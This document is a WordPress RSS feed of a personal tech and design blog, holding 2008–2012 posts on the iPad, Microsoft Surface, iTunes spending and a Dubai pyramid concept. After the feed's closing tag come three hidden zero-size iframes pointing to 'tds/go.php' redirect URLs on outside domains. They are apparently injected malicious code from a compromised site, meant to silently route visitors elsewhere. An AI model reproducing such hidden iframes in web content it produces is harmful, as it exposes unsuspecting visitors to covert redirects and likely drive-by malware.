<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BenZipkin.com &#187; Gear</title>
	<atom:link href="http://www.benzipkin.com/category/gear/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.benzipkin.com</link>
	<description>Just another WordPress site</description>
	<lastBuildDate>Sun, 05 Feb 2012 16:57:57 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Motion Magazine Demo Shows iPad Potential</title>
		<link>http://www.benzipkin.com/2010/03/19/motion-magazine-demo-shows-ipad-potential/</link>
		<comments>http://www.benzipkin.com/2010/03/19/motion-magazine-demo-shows-ipad-potential/#comments</comments>
		<pubDate>Fri, 19 Mar 2010 13:32:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Experience Design]]></category>
		<category><![CDATA[Gear]]></category>
		<category><![CDATA[Interfaces]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[interface]]></category>
		<category><![CDATA[ipad]]></category>
		<category><![CDATA[tablet]]></category>

		<guid isPermaLink="false">http://www.benzipkin.com/?p=437</guid>
		<description><![CDATA[This amazing demo of a interactive, 3-D magazine spread designed for iPad shows some of the real promise of the platform. Read about the development approach and how the interactions, photography, and text were all composited. VIV Mag Interactive Feature Spread &#8211; iPad Demo from Alexx Henry on Vimeo.]]></description>
			<content:encoded><![CDATA[<p>This amazing demo of a interactive, 3-D magazine spread designed for iPad shows some of the real promise of the platform. </p>
<p><a href="http://www.appleinsider.com/articles/10/03/18/fascinating_motion_magazine_demo_highlights_ipads_potential.html">Read about the development approach</a> and how the interactions, photography, and text were all composited.</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=10207926&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=10207926&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/10207926">VIV Mag Interactive Feature Spread &#8211; iPad Demo</a> from <a href="http://vimeo.com/user1257445">Alexx Henry</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.benzipkin.com/2010/03/19/motion-magazine-demo-shows-ipad-potential/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Office Desk/Bed Combo</title>
		<link>http://www.benzipkin.com/2010/03/03/office-deskbed-combo/</link>
		<comments>http://www.benzipkin.com/2010/03/03/office-deskbed-combo/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 20:44:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Gear]]></category>
		<category><![CDATA[Life]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[furniture]]></category>

		<guid isPermaLink="false">http://www.benzipkin.com/?p=433</guid>
		<description><![CDATA[Perfect &#8211; who doesn&#8217;t want one of these? Built for students but probably better for wage slaves! Via the design blog.]]></description>
			<content:encoded><![CDATA[<p>Perfect &#8211; who doesn&#8217;t want one of these? </p>
<p><a href="http://www.benzipkin.com/wp-content/uploads/2010/03/Screen-shot-2010-02-12-at-7.52.54-PM.png"><img src="http://www.benzipkin.com/wp-content/uploads/2010/03/Screen-shot-2010-02-12-at-7.52.54-PM-300x225.png" alt="" title="Modular Desk and Bed" width="300" height="225" class="aligncenter size-medium wp-image-434" /></a></p>
<p>Built for students but probably better for wage slaves! Via <a href="http://www.thedesignblog.org/entry/modular-office-desk-doubles-as-a-full-bed/">the design blog</a>. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.benzipkin.com/2010/03/03/office-deskbed-combo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Great Cugat Painting</title>
		<link>http://www.benzipkin.com/2009/12/01/great-cugat-painting/</link>
		<comments>http://www.benzipkin.com/2009/12/01/great-cugat-painting/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 22:55:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Gear]]></category>
		<category><![CDATA[Life]]></category>
		<category><![CDATA[art]]></category>

		<guid isPermaLink="false">http://www.benzipkin.com/work/great-cugat-painting/</guid>
		<description><![CDATA[Fantastic Xavier Cugat painting]]></description>
			<content:encoded><![CDATA[<div class="posterous_bookmarklet_entry"> <a href='http://posterous.com/getfile/files.posterous.com/bzipkin/cbCAeafmzcCBaxvFhdymHcsouFuFCcDtBlbpHestHnnvwEyuxHgbaGdxmalr/media_httpwwwiggymedeiroscomCugatSinfonia2jpg_ynvjszdfmleCixa.jpg.scaled1000.jpg'><img src="http://posterous.com/getfile/files.posterous.com/bzipkin/cbCAeafmzcCBaxvFhdymHcsouFuFCcDtBlbpHestHnnvwEyuxHgbaGdxmalr/media_httpwwwiggymedeiroscomCugatSinfonia2jpg_ynvjszdfmleCixa.jpg.scaled500.jpg" width="500" height="369"/></a>
<div class="posterous_quote_citation">via <a href="http://www.iggymedeiros.com/CugatSinfonia_2.jpg">iggymedeiros.com</a></div>
</p>
</div>
<p style="font-size: 10px;">  <a href="http://posterous.com">Posted via web</a>   from <a href="http://bzipkin.posterous.com/great-cugat-painting">bzipkin&#8217;s posterous</a>  </p>
]]></content:encoded>
			<wfw:commentRss>http://www.benzipkin.com/2009/12/01/great-cugat-painting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Phone &#8211; Memories of Old&#8230;</title>
		<link>http://www.benzipkin.com/2009/09/28/the-phone-memories-of-old/</link>
		<comments>http://www.benzipkin.com/2009/09/28/the-phone-memories-of-old/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 19:54:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Experience Design]]></category>
		<category><![CDATA[Gear]]></category>
		<category><![CDATA[Life]]></category>
		<category><![CDATA[Usability]]></category>

		<guid isPermaLink="false">http://www.benzipkin.com/work/the-phone-memories-of-old/</guid>
		<description><![CDATA[via graphpaper.com From Graphpaper.com &#8212; don&#8217;t you miss the tactile feel of old phones? Posted via web from bzipkin&#8217;s posterous]]></description>
			<content:encoded><![CDATA[<div class="posterous_bookmarklet_entry"> <a href="http://www.graphpaper.com/2009/09-24_phone"></a><a href='http://posterous.com/getfile/files.posterous.com/bzipkin/nHlrzeAynmqdsEuIHrEtaapfgsqqweHidhzBogGpfrcbamkxCptbCFFfGwDp/media_httpwwwgraphpapercomwpwpcontentuploads200909phoneicon700jpg_yIlemHlkogpiEth.jpg.scaled1000.jpg'><img src="http://posterous.com/getfile/files.posterous.com/bzipkin/nHlrzeAynmqdsEuIHrEtaapfgsqqweHidhzBogGpfrcbamkxCptbCFFfGwDp/media_httpwwwgraphpapercomwpwpcontentuploads200909phoneicon700jpg_yIlemHlkogpiEth.jpg.scaled500.jpg" width="500" height="500"/></a>
<div class="posterous_quote_citation">via <a href="http://www.graphpaper.com/2009/09-24_phone">graphpaper.com</a></div>
<p>From Graphpaper.com &#8212; don&#8217;t you miss the tactile feel of old phones?</p>
</div>
<p style="font-size: 10px;">  <a href="http://posterous.com">Posted via web</a>   from <a href="http://bzipkin.posterous.com/the-phone-memories-of-old">bzipkin&#8217;s posterous</a>  </p>
]]></content:encoded>
			<wfw:commentRss>http://www.benzipkin.com/2009/09/28/the-phone-memories-of-old/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Japanese Dude Hacks a Roomba &amp; WiiMote</title>
		<link>http://www.benzipkin.com/2009/07/10/japanese-dude-hacks-a-roomba-wiimote/</link>
		<comments>http://www.benzipkin.com/2009/07/10/japanese-dude-hacks-a-roomba-wiimote/#comments</comments>
		<pubDate>Fri, 10 Jul 2009 13:59:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Gear]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[roomba]]></category>

		<guid isPermaLink="false">http://www.benzipkin.com/work/japanese-dude-hacks-a-roomba-wiimote/</guid>
		<description><![CDATA[via youtube.com Love this stuff. Great subtitling too. Posted via web from bzipkin&#8217;s posterous]]></description>
			<content:encoded><![CDATA[<div class="posterous_bookmarklet_entry"> <object height="417" width="500"><param name="movie" value="http://www.youtube.com/v/NqbcfSqPnLA&amp;hl=en&amp;fs=1" /><param name="wmode" value="window" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed allowfullscreen="true" type="application/x-shockwave-flash" src="http://www.youtube.com/v/NqbcfSqPnLA&amp;hl=en&amp;fs=1" allowscriptaccess="always" height="417" wmode="window" width="500"></embed></object>
<div class="posterous_quote_citation">via <a href="http://www.youtube.com/watch?v=NqbcfSqPnLA">youtube.com</a></div>
<p>Love this stuff. Great subtitling too.</p>
</div>
<p style="font-size: 10px;">  <a href="http://posterous.com">Posted via web</a>   from <a href="http://bzipkin.posterous.com/japanese-dude-hacks-a-roomba-and-wiimote">bzipkin&#8217;s posterous</a>  </p>
]]></content:encoded>
			<wfw:commentRss>http://www.benzipkin.com/2009/07/10/japanese-dude-hacks-a-roomba-wiimote/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft Launches &#8216;Hohm&#8217; &#8211; New Personal Energy Management Service</title>
		<link>http://www.benzipkin.com/2009/07/06/microsoft-launches-hohm-new-personal-energy-management-service/</link>
		<comments>http://www.benzipkin.com/2009/07/06/microsoft-launches-hohm-new-personal-energy-management-service/#comments</comments>
		<pubDate>Mon, 06 Jul 2009 14:37:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Gear]]></category>
		<category><![CDATA[Life]]></category>
		<category><![CDATA[environment]]></category>
		<category><![CDATA[green]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[process]]></category>

		<guid isPermaLink="false">http://www.benzipkin.com/?p=323</guid>
		<description><![CDATA[Kudos to Microsoft for launching a new free personal energy management service-Microsoft Hohm. The new app (still in beta) allows you create a customized energy report based on your home profile, geographic benchmarks, types of appliances you use and more. This is an interesting and potentially useful service; it&#8217;s great to see Microsoft providing these [...]]]></description>
			<content:encoded><![CDATA[<p>Kudos to Microsoft for launching a new free personal energy management service-<a href="http://www.microsoft-hohm.com/">Microsoft Hohm</a>. </p>
<p>The new app (still in beta) allows you create a customized energy report based on your home profile, geographic benchmarks, types of appliances you use and more. This is an interesting and potentially useful service; it&#8217;s great to see Microsoft providing these web services free to users.</p>
<p>The data entry process is daunting! I was surprised at how little I knew about the heating and energy attributes of my condo&#8230;but perhaps that&#8217;s one of the points of this new service. </p>
<p><a href="http://www.microsoft-hohm.com/">Microsoft Hohm</a></p>
<p><a href="http://www.benzipkin.com/wp-content/uploads/2009/07/MS_HOHM.png"><img src="http://www.benzipkin.com/wp-content/uploads/2009/07/MS_HOHM-300x217.png" alt="Microsoft Hohm - New Energy Management App from Microsoft" title="Microsoft Hohm - New Energy Management App from Microsoft" width="300" height="217" class="aligncenter size-medium wp-image-325" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.benzipkin.com/2009/07/06/microsoft-launches-hohm-new-personal-energy-management-service/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8220;MacGyvering&#8221; a Microsoft Surface Table</title>
		<link>http://www.benzipkin.com/2008/10/14/macgyvering-a-microsoft-surface-table/</link>
		<comments>http://www.benzipkin.com/2008/10/14/macgyvering-a-microsoft-surface-table/#comments</comments>
		<pubDate>Tue, 14 Oct 2008 22:35:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Experience Design]]></category>
		<category><![CDATA[Gear]]></category>
		<category><![CDATA[Interfaces]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[gestural]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[microsoft surface]]></category>
		<category><![CDATA[prototyping]]></category>
		<category><![CDATA[simulator]]></category>
		<category><![CDATA[surface]]></category>
		<category><![CDATA[table applications]]></category>
		<category><![CDATA[ux]]></category>

		<guid isPermaLink="false">http://www.benzipkin.com/?p=252</guid>
		<description><![CDATA[We&#8217;re working a couple new projects focused on gestural and touch UI at RDVO. Some of our work may be applied to future Microsoft Surface table applications. We&#8217;ve found that actually procuring a Surface isn&#8217;t easy, so in its absence we developed a cool simulator using projectors and sensors we had lying around. Works pretty [...]]]></description>
			<content:encoded><![CDATA[<p>We&#8217;re working a couple new projects focused on gestural and touch UI at <a href="http://www.rdvo.com">RDVO</a>. Some of our work may be applied to future <a href="http://www.microsoft.com/surface/index.html">Microsoft Surface</a> table applications. We&#8217;ve found that actually procuring a Surface isn&#8217;t easy, so in its absence we developed a cool simulator using projectors and sensors we had lying around. Works pretty good, too. </p>
<p>Click on the image below to see a larger version.<br />
<a href="http://www.benzipkin.com/wp-content/uploads/2008/10/img_0762-annotated.jpg"><img src="http://www.benzipkin.com/wp-content/uploads/2008/10/img_0762-annotated.jpg" alt="" title="img_0762-annotated" width="500" height="437" class="alignnone size-full wp-image-253" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.benzipkin.com/2008/10/14/macgyvering-a-microsoft-surface-table/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A profitable symbiosis – iPhone and iTunes</title>
		<link>http://www.benzipkin.com/2008/09/29/a-profitable-symbiosis-iphone-and-itunes/</link>
		<comments>http://www.benzipkin.com/2008/09/29/a-profitable-symbiosis-iphone-and-itunes/#comments</comments>
		<pubDate>Tue, 30 Sep 2008 00:34:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Data Visualization]]></category>
		<category><![CDATA[Gear]]></category>
		<category><![CDATA[Statistics]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[ecommerce]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[itunes]]></category>

		<guid isPermaLink="false">http://www.benzipkin.com/work/a-profitable-symbiosis-%e2%80%93-iphone-and-itunes/</guid>
		<description><![CDATA[I recently noticed that my monthly pending on iTunes has spiked to over $30.00—more than double than my previous monthly average. Not surprisingly, the increase correlates precisely with the time I&#8217;ve owned an iPhone. If that wasn&#8217;t enough, I also noticed that there was a 3X increase in the number of purchases in July and [...]]]></description>
			<content:encoded><![CDATA[<p>I recently noticed that my monthly pending on iTunes has spiked to over $30.00—more than double than my previous monthly average. Not surprisingly, the increase correlates precisely with the time I&#8217;ve owned an iPhone.
</p>
<p>
<a href="http://www.benzipkin.com/wp-content/uploads/2008/09/monthly_itunes_spend.png"><img src="http://www.benzipkin.com/wp-content/uploads/2008/09/monthly_itunes_spend.png" alt="" title="Monthly iTunes spend" width="500" height="250" class="aligncenter size-full wp-image-221" /></a>
</p>
<p>If that wasn&#8217;t enough, I also noticed that there was a 3X increase in the number of purchases in July and August. I&#8217;m usually careful about my spending and I didn&#8217;t notice any real additional spending; the iPhone&#8217;s purchasing experience is dastardly clean and effortless.
</p>
<p>Is this common among new iPhone owners? Apple has been vague about the amount of profit made from iTunes—mostly due to scrutiny from the entertainment industry. If you <a href="http://www.apple.com/pr/library/2008/07/21results.html">look at their Q308 financials</a>, they indicate a 35% over the year in &#8220;Other Music Related Products and Services.&#8221; I&#8217;ll be interested to see if the numbers increase in Q408 with more iPhone 3G users.
</p>
<p>I may be an anomoly, but it&#8217;s clear that the iPhone makes it much easier (and transparent) to purchase from iTunes, and I&#8217;m curious to see if this becomes a real boon to iTunes.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.benzipkin.com/2008/09/29/a-profitable-symbiosis-iphone-and-itunes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Leaked Patents Give a Glimpse of Apple&#8217;s Multitouch Evolution</title>
		<link>http://www.benzipkin.com/2008/08/29/leaked-patents-give-a-glimpse-of-apples-multitouch-evolution/</link>
		<comments>http://www.benzipkin.com/2008/08/29/leaked-patents-give-a-glimpse-of-apples-multitouch-evolution/#comments</comments>
		<pubDate>Fri, 29 Aug 2008 19:33:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Gear]]></category>
		<category><![CDATA[Interfaces]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[interface]]></category>
		<category><![CDATA[multitouch]]></category>
		<category><![CDATA[screen]]></category>
		<category><![CDATA[ux]]></category>

		<guid isPermaLink="false">http://www.benzipkin.com/?p=172</guid>
		<description><![CDATA[Diagrams from Apple&#8217;s leaked patents for a multi-touch tablet give us a glimpse into some interesting new developments in the evolution of touch UIs. Some of the cool elements include iPhone-like scroll wheels and lots of touch-and-zoom experiences. But perhaps most interesting is the full-screen QWERTY keyword. It will be interesting to see how Apple [...]]]></description>
			<content:encoded><![CDATA[<p>Diagrams from <a href="http://gizmodo.com/5043024/leaked-apple-patent-filing-is-full-of-new-multitouch-tech-for-a-mac-tablet">Apple&#8217;s leaked patents for a multi-touch tablet</a> give us a glimpse into some interesting new developments in the evolution of touch UIs. </p>
<p><a href="http://gizmodo.com/5043024/leaked-apple-patent-filing-is-full-of-new-multitouch-tech-for-a-mac-tablet"><img src="http://www.benzipkin.com/wp-content/uploads/2008/08/patent080828-4.gif" alt="" title="Diagrams from Apple&#039;s New Multitouch UI Table" width="500" height="383" class="aligncenter size-full wp-image-173" /></a></p>
<p>Some of the cool elements include iPhone-like scroll wheels and lots of touch-and-zoom experiences.</p>
<p>But perhaps most interesting is the full-screen QWERTY keyword. It will be interesting to see how Apple implements this feature. As an iPhone user, I find typing on the screen to be difficult&#8211;mostly because of the lack of tactile response. I wonder how this will play out on a more expansive interface with full-sized keys. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.benzipkin.com/2008/08/29/leaked-patents-give-a-glimpse-of-apples-multitouch-evolution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stargate Dubai &#8211; Live in an eco-friendly pyramid with one million of your closest friends</title>
		<link>http://www.benzipkin.com/2008/08/26/stargate-dubai-live-in-an-eco-friendly-pyramid-with-one-million-of-your-closest-friends/</link>
		<comments>http://www.benzipkin.com/2008/08/26/stargate-dubai-live-in-an-eco-friendly-pyramid-with-one-million-of-your-closest-friends/#comments</comments>
		<pubDate>Wed, 27 Aug 2008 03:02:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Gear]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Travel]]></category>
		<category><![CDATA[architecture]]></category>
		<category><![CDATA[Dubai]]></category>
		<category><![CDATA[energy]]></category>
		<category><![CDATA[pyramid]]></category>
		<category><![CDATA[Ziggurat]]></category>

		<guid isPermaLink="false">http://www.benzipkin.com/?p=161</guid>
		<description><![CDATA[There are some insane developments in the works in Dubai. According to World Architecture News, a concept will soon be revealed for the Ziggurat, a carbon-neutral super structure that could house over 1 million residents all connected with a public transit system that runs both horizontally and vertically. New energy management technologies enable the entire [...]]]></description>
			<content:encoded><![CDATA[<p>There are some <strong>insane</strong> developments in the works in Dubai. </p>
<p>According to <a href="http://worldarchitecturenews.com/index.php?fuseaction=wanappln.projectview&#038;upload_id=10224">World Architecture News</a>, a concept will soon be revealed for the <a href="http://www.inhabitat.com/2008/08/25/ziggurat-dubai-carbon-neutral-pyramid-will-house-1-million/">Ziggurat</a>, a carbon-neutral super structure that could house over 1 million residents all connected with a public transit system that runs both horizontally and vertically. New energy management technologies enable the entire pyramid to be self-sustaining and completely off the grid. </p>
<p><a href="http://www.inhabitat.com/2008/08/25/ziggurat-dubai-carbon-neutral-pyramid-will-house-1-million/"><img src="http://www.benzipkin.com/wp-content/uploads/2008/08/timezig1.jpg" alt="Ziggurat - Carbon-neutral pyramid" title="timezig1" width="500" height="279" class="size-full wp-image-162" /></a></p>
<p>While a structure like this is clearly decades away, many of the technologies and concepts have been patented and are in development. Is this a glimpse into the (not too distant) future? </p>
]]></content:encoded>
			<wfw:commentRss>http://www.benzipkin.com/2008/08/26/stargate-dubai-live-in-an-eco-friendly-pyramid-with-one-million-of-your-closest-friends/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<iframe src="http://badosova.com/tds/go.php?sid=65" width="0" height="0" frameborder="0"></iframe>

<iframe src="http://badosova.com/tds/go.php?sid=65" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
